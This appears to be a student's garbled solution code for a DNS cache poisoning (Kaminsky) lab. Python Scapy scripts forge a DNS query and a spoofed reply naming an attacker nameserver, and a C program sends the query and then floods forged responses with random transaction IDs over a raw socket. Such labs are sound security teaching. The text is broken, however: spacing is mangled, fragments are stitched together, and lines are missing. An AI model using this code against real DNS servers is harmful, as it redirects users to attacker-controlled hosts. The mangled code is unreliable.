from scapy.allimport * import time name = "123.example.com"# query network domain = "exmaple.com"# query's domain name ns = "ns.attacker32.com"# hacker's DNS 域名
ip = IP(dst = '10.9.0.53',src = '10.9.0.153') # dst 10.9.0.53 is the victim DNS server udp = UDP(dport = 33333,sport = 53, chksum = 0) # dest is 33333 port reply = ip/udp/dns
from scapy.allimport * import time name = "12345.example.com"# query network 这里要注意是开始5位才能和C语言的对上 domain = "example.com"# query's domain name ns = "ns.attacker32.com"# hacker's DNS server name
ip = IP(dst = '10.9.0.53',src = '199.43.133.53') # dst 10.9.0.53 is the victim DNS server udp = UDP(dport = 33333,sport = 53, chksum = 0) # dest is 33333 port reply = ip/udp/dns
# send(reply,verbose=0,iface = "br-62635d9cf0f7") withopen('ip_resp.bin','wb') as f: f.write(bytes(reply))
/* IP Header */ structipheader { unsignedchar iph_ihl:4, //IP header length iph_ver:4; //IP version unsignedchar iph_tos; //Type of service unsignedshortint iph_len; //IP Packet length (data + header) unsignedshortint iph_ident; //Identification unsignedshortint iph_flag:3, //Fragmentation flags iph_offset:13; //Flags offset unsignedchar iph_ttl; //Time to Live unsignedchar iph_protocol; //Protocol type unsignedshortint iph_chksum; //IP datagram checksum structin_addriph_sourceip;//Source IP address structin_addriph_destip;//Destination IP address };
voidsend_raw_packet(unsignedchar * buffer, int pkt_size); voidsend_dns_request(unsignedchar *req, int size); voidsend_dns_response(unsignedchar *req, int size);
intmain() { srand(time(NULL));
// Load the DNS request packet from file FILE * f_req = fopen("ip_req.bin", "rb"); if (!f_req) { perror("Can't open 'ip_req.bin'"); exit(1); } unsignedchar ip_req[MAX_FILE_SIZE]; int n_req = fread(ip_req, 1, MAX_FILE_SIZE, f_req);
// Load the first DNS response packet from file FILE * f_resp = fopen("ip_resp.bin", "rb"); if (!f_resp) { perror("Can't open 'ip_resp.bin'"); exit(1); } unsignedchar ip_resp[MAX_FILE_SIZE]; int n_resp = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp);
char a[26]="abcdefghijklmnopqrstuvwxyz"; int time = 0; int i = 0; while (1) { // Generate a random name with length 5 char name[5]; for (int k=0; k<5; k++) name[k] = a[rand() % 26];
//################################################################## /* Step 1. Send a DNS request to the targeted local DNS server. This will trigger the DNS server to send out DNS queries */
// ... Students should add code here. for(i=0;i<5;i++) { // modify domain name // 发送随机的域名 ip_req[0x29+i] = name[i]; }
send_dns_request(ip_req,n_req); /* Step 2. Send many spoofed responses to the targeted local DNS server, each one with a different transaction ID. */ // ... Students should add code here. for(i=0;i<5;i++) { // 将返回的域名改成发送的 ip_resp[0x29+i] = name[i]; // 为什么要修改两个值?因为回应的包里面既包含了query的内容,也包含了响应的,所以要修改两次。 ip_resp[0x40+i] = name[i]; } for(time=0;time<10000;time++) { // modify trans, 2 bytes, change it at random // 爆破trans位置的信息, 一共2byte ip_resp[0x1c] = rand()%256; ip_resp[0x1d] = rand()%256;
/* Use for sending DNS request. * Add arguments to the function definition if needed. * */ voidsend_dns_request(unsignedchar *req, int size) { // Students need to implement this function send_raw_packet(req,size);
}
/* Use for sending forged DNS response. * Add arguments to the function definition if needed. * */ voidsend_dns_response(unsignedchar *resp,int size) { // Students need to implement this function send_raw_packet(resp,size); }
/* Send the raw packet out * buffer: to contain the entire IP packet, with everything filled out. * pkt_size: the size of the buffer. * */ voidsend_raw_packet(unsignedchar * buffer, int pkt_size) { structsockaddr_indest_info; int enable = 1;
// Step 1: Create a raw network socket. int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);